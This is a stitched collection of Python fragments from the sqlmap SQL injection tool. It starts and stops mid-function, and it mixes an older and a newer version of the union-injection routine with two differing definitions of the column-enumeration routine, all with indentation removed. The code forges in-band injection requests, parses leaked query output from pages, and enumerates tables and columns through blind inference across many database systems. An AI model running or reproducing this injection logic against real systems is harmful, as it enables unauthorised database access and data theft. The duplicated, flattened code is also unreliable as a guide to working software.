limitRegExp = re.search(queries[kb.dbms].limitregexp, expression,
re.I)
if limitRegExp:
if kb.dbms in ("MySQL", "PostgreSQL"):
limitGroupStart = queries[kb.dbms].limitgroupstart
limitGroupStop = queries[kb.dbms].limitgroupstop
if limitGroupStart.isdigit():
startLimit = int(
limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif kb.dbms in ("Oracle", "Microsoft SQL Server"):
limitCond = False
else:
limitCond = True
# I assume that only queries NOT containing a "LIMIT #, 1"
# (or similar depending on the back-end DBMS) can return
# multiple entries
if limitCond:
if limitRegExp:
stopLimit = int(stopLimit)
# From now on we need only the expression until the " LIMIT "
# (or similar, depending on the back-end DBMS) word
if kb.dbms in ("MySQL", "PostgreSQL"):
stopLimit += startLimit
untilLimitChar = expression.index(
queries[kb.dbms].limitstring)
expression = expression[:untilLimitChar]
if not stopLimit or stopLimit <= 1:
if kb.dbms == "Oracle" and expression.endswith(
"FROM DUAL"):
test = False
else:
test = True
if test == True:
# Count the number of SQL query entries output
countFirstField = queries[
kb.dbms].count % expressionFieldsList[0]
countedExpression = origExpr.replace(
expressionFields, countFirstField, 1)
if re.search(" ORDER BY ", expression, re.I):
untilOrderChar = countedExpression.index(" ORDER BY ")
countedExpression = countedExpression[:untilOrderChar]
count = resume(countedExpression, None)
if not stopLimit:
if not count or not count.isdigit():
output = unionUse(countedExpression, direct=True)
if output:
count = parseUnionPage(output,
countedExpression)
if count and count.isdigit() and int(count) > 0:
stopLimit = int(count)
infoMsg = "the SQL query provided returns "
infoMsg += "%d entries" % stopLimit
logger.info(infoMsg)
elif count and not count.isdigit():
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif (not count or int(count) == 0):
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return
elif (not count or int(count) == 0) and (not stopLimit or
stopLimit == 0):
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return
for num in xrange(startLimit, stopLimit):
limitedExpr = agent.limitQuery(num, expression,
expressionFieldsList)
output = unionUse(limitedExpr,
direct=True,
unescape=False)
if output:
value += output
return value
value = unionUse(expression, direct=True, unescape=False)
else:
# Forge the inband SQL injection request
query = agent.forgeInbandQuery(expression)
payload = agent.payload(newValue=query)
infoMsg = "query: %s" % query
logger.info(infoMsg)
# Perform the request
resultPage = Request.queryPage(payload, content=True)
reqCount += 1
if temp.start not in resultPage or temp.stop not in resultPage:
return
# Parse the returned page to get the exact inband
# sql injection output
startPosition = resultPage.index(temp.start)
endPosition = resultPage.rindex(temp.stop) + len(temp.stop)
value = str(resultPage[startPosition:endPosition])
duration = int(time.time() - start)
infoMsg = "performed %d queries in %d seconds" % (reqCount, duration)
logger.info(infoMsg)
return value
def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None):
self.forceDbmsEnum()
if conf.db is None or conf.db == CURRENT_DB:
if conf.db is None:
warnMsg = "missing database parameter, sqlmap is going "
warnMsg += "to use the current database to enumerate "
warnMsg += "table(s) columns"
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
elif conf.db is not None:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.db = conf.db.upper()
if ',' in conf.db:
errMsg = "only one database name is allowed when enumerating "
errMsg += "the tables' columns"
raise sqlmapMissingMandatoryOptionException, errMsg
conf.db = safeSQLIdentificatorNaming(conf.db)
if conf.col:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.col = conf.col.upper()
colList = conf.col.split(",")
else:
colList = []
for col in colList:
colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
colList = filter(None, colList)
if conf.tbl:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.tbl = conf.tbl.upper()
tblList = conf.tbl.split(",")
else:
self.getTables()
if len(kb.data.cachedTables) > 0:
if conf.db in kb.data.cachedTables:
tblList = kb.data.cachedTables[conf.db]
else:
tblList = kb.data.cachedTables.values()
if isinstance(tblList[0], (set, tuple, list)):
tblList = tblList[0]
tblList = list(tblList)
else:
errMsg = "unable to retrieve the tables "
errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
raise sqlmapNoneDataException, errMsg
for tbl in tblList:
tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)
if bruteForce is None:
if Backend.isDbms(
DBMS.MYSQL) and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
logger.error(errMsg)
bruteForce = True
elif Backend.isDbms(DBMS.ACCESS):
errMsg = "cannot retrieve column names, "
errMsg += "back-end DBMS is Access"
logger.error(errMsg)
bruteForce = True
if bruteForce or colList:
resumeAvailable = False
for tbl in tblList:
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == tbl:
resumeAvailable = True
break
if resumeAvailable or colList:
columns = {}
for column in colList:
columns[column] = None
for tbl in tblList:
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == tbl:
columns[colName] = colType
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)][safeSQLIdentificatorNaming(
tbl, True)] = columns
else:
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)] = {
safeSQLIdentificatorNaming(tbl, True): columns
}
return kb.data.cachedColumns
message = "do you want to use common column existence check? %s" % (
"[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, )
else "[y/N/q]")
test = readInput(message, default="Y" if "Y" in message else "N")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
else:
return columnExists(paths.COMMON_COLUMNS)
rootQuery = queries[Backend.getIdentifiedDbms()].columns
condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None
if any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION,
PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
for tbl in tblList:
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
and conf.db in kb.data.cachedColumns and tbl in \
kb.data.cachedColumns[conf.db]:
infoMsg = "fetched tables' columns on "
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.info(infoMsg)
return {conf.db: kb.data.cachedColumns[conf.db]}
infoMsg = "fetching columns "
if len(colList) > 0:
if colTuple is None:
colConsider, colCondParam = self.likeOrExact("column")
else:
colConsider, colCondParam = colTuple
condQueryStr = "%%s%s" % colCondParam
condQuery = " AND (%s)" % " OR ".join(
condQueryStr %
(condition, unsafeSQLIdentificatorNaming(col))
for col in sorted(colList))
if colConsider == "1":
infoMsg += "like '%s' " % ", ".join(
unsafeSQLIdentificatorNaming(col)
for col in sorted(colList))
else:
infoMsg += "'%s' " % ", ".join(
unsafeSQLIdentificatorNaming(col)
for col in sorted(colList))
else:
condQuery = ""
infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(
tbl)
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.info(infoMsg)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
query = rootQuery.inband.query % (
unsafeSQLIdentificatorNaming(tbl),
unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.inband.query % unsafeSQLIdentificatorNaming(
tbl.upper())
query += condQuery
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.inband.query % (
conf.db, conf.db, conf.db, conf.db,
conf.db, conf.db, conf.db,
unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
query += condQuery.replace("[DB]", conf.db)
elif Backend.isDbms(DBMS.SQLITE):
query = rootQuery.inband.query % tbl
value = inject.getValue(query, blind=False)
if Backend.isDbms(DBMS.SQLITE):
parseSqliteTableSchema(value)
elif not isNoneValue(value):
table = {}
columns = {}
for columnData in value:
if not isNoneValue(columnData):
name = safeSQLIdentificatorNaming(columnData[0])
if name:
if len(columnData) == 1:
columns[name] = ""
else:
columns[name] = columnData[1]
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)][safeSQLIdentificatorNaming(
tbl, True)] = columns
else:
table[safeSQLIdentificatorNaming(tbl, True)] = columns
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)] = table
elif isInferenceAvailable() and not conf.direct:
for tbl in tblList:
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
and conf.db in kb.data.cachedColumns and tbl in \
kb.data.cachedColumns[conf.db]:
infoMsg = "fetched tables' columns on "
infoMsg += "database '%s'" % conf.db
logger.info(infoMsg)
return {conf.db: kb.data.cachedColumns[conf.db]}
infoMsg = "fetching columns "
if len(colList) > 0:
if colTuple is None:
colConsider, colCondParam = self.likeOrExact("column")
else:
colConsider, colCondParam = colTuple
condQueryStr = "%%s%s" % colCondParam
condQuery = " AND (%s)" % " OR ".join(
condQueryStr %
(condition, unsafeSQLIdentificatorNaming(col))
for col in sorted(colList))
if colConsider == "1":
infoMsg += "like '%s' " % ", ".join(
unsafeSQLIdentificatorNaming(col)
for col in sorted(colList))
else:
infoMsg += "'%s' " % ", ".join(
unsafeSQLIdentificatorNaming(col)
for col in sorted(colList))
else:
condQuery = ""
infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(
tbl)
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.info(infoMsg)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
query = rootQuery.blind.count % (
unsafeSQLIdentificatorNaming(tbl),
unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(
tbl.upper())
query += condQuery
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.count % (conf.db, conf.db, \
unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
query += condQuery.replace("[DB]", conf.db)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.count % (tbl)
query += condQuery
elif Backend.isDbms(DBMS.SQLITE):
query = rootQuery.blind.query % tbl
value = inject.getValue(query, inband=False, error=False)
parseSqliteTableSchema(value)
return kb.data.cachedColumns
count = inject.getValue(query,
inband=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
errMsg = "unable to retrieve the number of columns "
errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(
tbl)
errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.error(errMsg)
continue
table = {}
columns = {}
for index in getLimitRange(count):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
query = rootQuery.blind.query % (
unsafeSQLIdentificatorNaming(tbl),
unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
field = None
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,
DBMS.DB2):
query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(
tbl.upper())
query += condQuery
field = None
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.query.replace(
"'%s'", "'%s'" %
unsafeSQLIdentificatorNaming(tbl).split(".")[-1]
).replace("%s", conf.db).replace("%d", str(index))
query += condQuery.replace("[DB]", conf.db)
field = condition.replace("[DB]", conf.db)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query % (tbl)
query += condQuery
field = None
query = agent.limitQuery(index, query, field, field)
column = inject.getValue(query, inband=False, error=False)
if not isNoneValue(column):
if not onlyColNames:
if Backend.getIdentifiedDbms() in (DBMS.MYSQL,
DBMS.PGSQL):
query = rootQuery.blind.query2 % (
unsafeSQLIdentificatorNaming(tbl), column,
unsafeSQLIdentificatorNaming(conf.db))
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,
DBMS.DB2):
query = rootQuery.blind.query2 % (
unsafeSQLIdentificatorNaming(
tbl.upper()), column)
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.query2 % (
conf.db, conf.db, conf.db, conf.db, column,
conf.db, conf.db, conf.db,
unsafeSQLIdentificatorNaming(tbl).split(
".")[-1])
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query2 % (tbl, column)
colType = inject.getValue(query,
inband=False,
error=False)
if Backend.isDbms(DBMS.FIREBIRD):
colType = FIREBIRD_TYPES.get(colType, colType)
column = safeSQLIdentificatorNaming(column)
columns[column] = colType
else:
column = safeSQLIdentificatorNaming(column)
columns[column] = None
if columns:
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)][safeSQLIdentificatorNaming(
tbl, True)] = columns
else:
table[safeSQLIdentificatorNaming(tbl, True)] = columns
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)] = table
if not kb.data.cachedColumns:
errMsg = "unable to retrieve the columns for any "
errMsg += "table in database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.error(errMsg)
if bruteForce is None:
return self.getColumns(onlyColNames=onlyColNames,
colTuple=colTuple,
bruteForce=True)
return kb.data.cachedColumns
def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False):
self.forceDbmsEnum()
if conf.db is None or conf.db == CURRENT_DB:
if conf.db is None:
warnMsg = "missing database parameter. sqlmap is going "
warnMsg += "to use the current database to enumerate "
warnMsg += "table(s) columns"
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
if not conf.db:
errMsg = "unable to retrieve the current "
errMsg += "database name"
raise SqlmapNoneDataException(errMsg)
elif conf.db is not None:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
conf.db = conf.db.upper()
if ',' in conf.db:
errMsg = "only one database name is allowed when enumerating "
errMsg += "the tables' columns"
raise SqlmapMissingMandatoryOptionException(errMsg)
conf.db = safeSQLIdentificatorNaming(conf.db)
if conf.col:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.col = conf.col.upper()
colList = conf.col.split(',')
else:
colList = []
if conf.excludeCol:
colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]
for col in colList:
colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
colList = filter(None, colList)
if conf.tbl:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
conf.tbl = conf.tbl.upper()
tblList = conf.tbl.split(",")
else:
self.getTables()
if len(kb.data.cachedTables) > 0:
if conf.db in kb.data.cachedTables:
tblList = kb.data.cachedTables[conf.db]
else:
tblList = kb.data.cachedTables.values()
if isinstance(tblList[0], (set, tuple, list)):
tblList = tblList[0]
tblList = list(tblList)
elif not conf.search:
errMsg = "unable to retrieve the tables "
errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
raise SqlmapNoneDataException(errMsg)
else:
return kb.data.cachedColumns
tblList = filter(None, (safeSQLIdentificatorNaming(_, True) for _ in tblList))
if bruteForce is None:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
logger.error(errMsg)
bruteForce = True
elif Backend.isDbms(DBMS.ACCESS):
errMsg = "cannot retrieve column names, "
errMsg += "back-end DBMS is %s" % DBMS.ACCESS
logger.error(errMsg)
bruteForce = True
if bruteForce:
resumeAvailable = False
for tbl in tblList:
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == tbl:
resumeAvailable = True
break
if resumeAvailable and not conf.freshQueries or colList:
columns = {}
for column in colList:
columns[column] = None
for tbl in tblList:
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == tbl:
columns[colName] = colType
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
else:
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): columns}
return kb.data.cachedColumns
message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]")
test = readInput(message, default="Y" if "Y" in message else "N")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise SqlmapUserQuitException
else:
return columnExists(paths.COMMON_COLUMNS)
rootQuery = queries[Backend.getIdentifiedDbms()].columns
condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
for tbl in tblList:
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
and conf.db in kb.data.cachedColumns and tbl in \
kb.data.cachedColumns[conf.db]:
infoMsg = "fetched tables' columns on "
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
return {conf.db: kb.data.cachedColumns[conf.db]}
infoMsg = "fetching columns "
condQuery = ""
if len(colList) > 0:
if colTuple:
_, colCondParam = colTuple
infoMsg += "LIKE '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
else:
colCondParam = "='%s'"
infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
condQueryStr = "%%s%s" % colCondParam
condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
query += condQuery
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db,
conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
query += condQuery.replace("[DB]", conf.db)
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
query = rootQuery.inband.query % tbl
if dumpMode and colList:
values = [(_,) for _ in colList]
else:
infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
values = inject.getValue(query, blind=False, time=False)
if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values):
index, values = 1, []
while True:
query = rootQuery.inband.query2 % (conf.db, tbl, index)
value = unArrayizeValue(inject.getValue(query, blind=False, time=False))
if isNoneValue(value) or value == " ":
break
else:
values.append((value,))
index += 1
if Backend.isDbms(DBMS.SQLITE):
parseSqliteTableSchema(unArrayizeValue(values))
elif not isNoneValue(values):
table = {}
columns = {}
for columnData in values:
if not isNoneValue(columnData):
name = safeSQLIdentificatorNaming(columnData[0])
if name:
if conf.getComments:
_ = queries[Backend.getIdentifiedDbms()].column_comment
if hasattr(_, "query"):
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(name.upper()))
else:
query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(name))
comment = unArrayizeValue(inject.getValue(query, blind=False, time=False))
if not isNoneValue(comment):
infoMsg = "retrieved comment '%s' for column '%s'" % (comment, name)
logger.info(infoMsg)
else:
warnMsg = "on %s it is not " % Backend.getIdentifiedDbms()
warnMsg += "possible to get column comments"
singleTimeWarnMessage(warnMsg)
if len(columnData) == 1:
columns[name] = None
else:
if Backend.isDbms(DBMS.FIREBIRD):
columnData[1] = FIREBIRD_TYPES.get(int(columnData[1]) if isinstance(columnData[1], basestring) and columnData[1].isdigit() else columnData[1], columnData[1])
columns[name] = columnData[1]
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
else:
table[safeSQLIdentificatorNaming(tbl, True)] = columns
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table
elif isInferenceAvailable() and not conf.direct:
for tbl in tblList:
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
and conf.db in kb.data.cachedColumns and tbl in \
kb.data.cachedColumns[conf.db]:
infoMsg = "fetched tables' columns on "
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
return {conf.db: kb.data.cachedColumns[conf.db]}
infoMsg = "fetching columns "
condQuery = ""
if len(colList) > 0:
if colTuple:
_, colCondParam = colTuple
infoMsg += "LIKE '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
else:
colCondParam = "='%s'"
infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
condQueryStr = "%%s%s" % colCondParam
condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
query += condQuery
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.count % (conf.db, conf.db, \
unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
query += condQuery.replace("[DB]", conf.db)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.count % (tbl)
query += condQuery
elif Backend.isDbms(DBMS.SQLITE):
query = rootQuery.blind.query % tbl
value = unArrayizeValue(inject.getValue(query, union=False, error=False))
parseSqliteTableSchema(value)
return kb.data.cachedColumns
table = {}
columns = {}
if dumpMode and colList:
count = 0
for value in colList:
columns[safeSQLIdentificatorNaming(value)] = None
else:
infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
if Backend.isDbms(DBMS.MSSQL):
count, index, values = 0, 1, []
while True:
query = rootQuery.blind.query3 % (conf.db, tbl, index)
value = unArrayizeValue(inject.getValue(query, union=False, error=False))
if isNoneValue(value) or value == " ":
break
else:
columns[safeSQLIdentificatorNaming(value)] = None
index += 1
if not columns:
errMsg = "unable to retrieve the %scolumns " % ("number of " if not Backend.isDbms(DBMS.MSSQL) else "")
errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.error(errMsg)
continue
for index in getLimitRange(count):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
field = None
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
query += condQuery
field = None
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.query.replace("'%s'", "'%s'" % unsafeSQLIdentificatorNaming(tbl).split(".")[-1]).replace("%s", conf.db).replace("%d", str(index))
query += condQuery.replace("[DB]", conf.db)
field = condition.replace("[DB]", conf.db)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query % (tbl)
query += condQuery
field = None
query = agent.limitQuery(index, query, field, field)
column = unArrayizeValue(inject.getValue(query, union=False, error=False))
if not isNoneValue(column):
if conf.getComments:
_ = queries[Backend.getIdentifiedDbms()].column_comment
if hasattr(_, "query"):
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(column.upper()))
else:
query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(column))
comment = unArrayizeValue(inject.getValue(query, union=False, error=False))
if not isNoneValue(comment):
infoMsg = "retrieved comment '%s' for column '%s'" % (comment, column)
logger.info(infoMsg)
else:
warnMsg = "on %s it is not " % Backend.getIdentifiedDbms()
warnMsg += "possible to get column comments"
singleTimeWarnMessage(warnMsg)
if not onlyColNames:
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db))
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper()))
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db,
conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query2 % (tbl, column)
colType = unArrayizeValue(inject.getValue(query, union=False, error=False))
if Backend.isDbms(DBMS.FIREBIRD):
colType = FIREBIRD_TYPES.get(colType, colType)
column = safeSQLIdentificatorNaming(column)
columns[column] = colType
else:
column = safeSQLIdentificatorNaming(column)
columns[column] = None
if columns:
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
else:
table[safeSQLIdentificatorNaming(tbl, True)] = columns
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table
if not kb.data.cachedColumns:
warnMsg = "unable to retrieve column names for "
warnMsg += ("table '%s' " % unsafeSQLIdentificatorNaming(unArrayizeValue(tblList))) if len(tblList) == 1 else "any table "
warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.warn(warnMsg)
if bruteForce is None:
return self.getColumns(onlyColNames=onlyColNames, colTuple=colTuple, bruteForce=True)
return kb.data.cachedColumns
def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullChar=None, unpack=True, dump=False):
"""
This function tests for an inband SQL injection on the target
url then call its subsidiary function to effectively perform an
inband SQL injection on the affected url
"""
count = None
origExpr = expression
start = time.time()
startLimit = 0
stopLimit = None
test = True
value = ""
global reqCount
if resetCounter:
reqCount = 0
if not kb.unionTest:
unionTest()
if not kb.unionCount:
return
# Prepare expression with delimiters
if unescape:
expression = agent.concatQuery(expression, unpack)
expression = unescaper.unescape(expression)
if ( kb.unionNegative or kb.unionFalseCond ) and not direct:
_, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
# We have to check if the SQL query might return multiple entries
# and in such case forge the SQL limiting the query output one
# entry per time
# NOTE: I assume that only queries that get data from a table can
# return multiple entries
if " FROM " in expression:
limitRegExp = re.search(queries[kb.dbms].limitregexp.query, expression, re.I)
if limitRegExp:
if kb.dbms in ( DBMS.MYSQL, DBMS.POSTGRESQL ):
limitGroupStart = queries[kb.dbms].limitgroupstart.query
limitGroupStop = queries[kb.dbms].limitgroupstop.query
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif kb.dbms == DBMS.MSSQL:
limitGroupStart = queries[kb.dbms].limitgroupstart.query
limitGroupStop = queries[kb.dbms].limitgroupstop.query
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif kb.dbms == DBMS.ORACLE:
limitCond = False
else:
limitCond = True
# I assume that only queries NOT containing a "LIMIT #, 1"
# (or similar depending on the back-end DBMS) can return
# multiple entries
if limitCond:
if limitRegExp:
stopLimit = int(stopLimit)
# From now on we need only the expression until the " LIMIT "
# (or similar, depending on the back-end DBMS) word
if kb.dbms in ( DBMS.MYSQL, DBMS.POSTGRESQL ):
stopLimit += startLimit
untilLimitChar = expression.index(queries[kb.dbms].limitstring.query)
expression = expression[:untilLimitChar]
elif kb.dbms == DBMS.MSSQL:
stopLimit += startLimit
elif dump:
if conf.limitStart:
startLimit = conf.limitStart
if conf.limitStop:
stopLimit = conf.limitStop
if not stopLimit or stopLimit <= 1:
if kb.dbms == DBMS.ORACLE and expression.endswith("FROM DUAL"):
test = False
else:
test = True
if test:
# Count the number of SQL query entries output
countFirstField = queries[kb.dbms].count.query % expressionFieldsList[0]
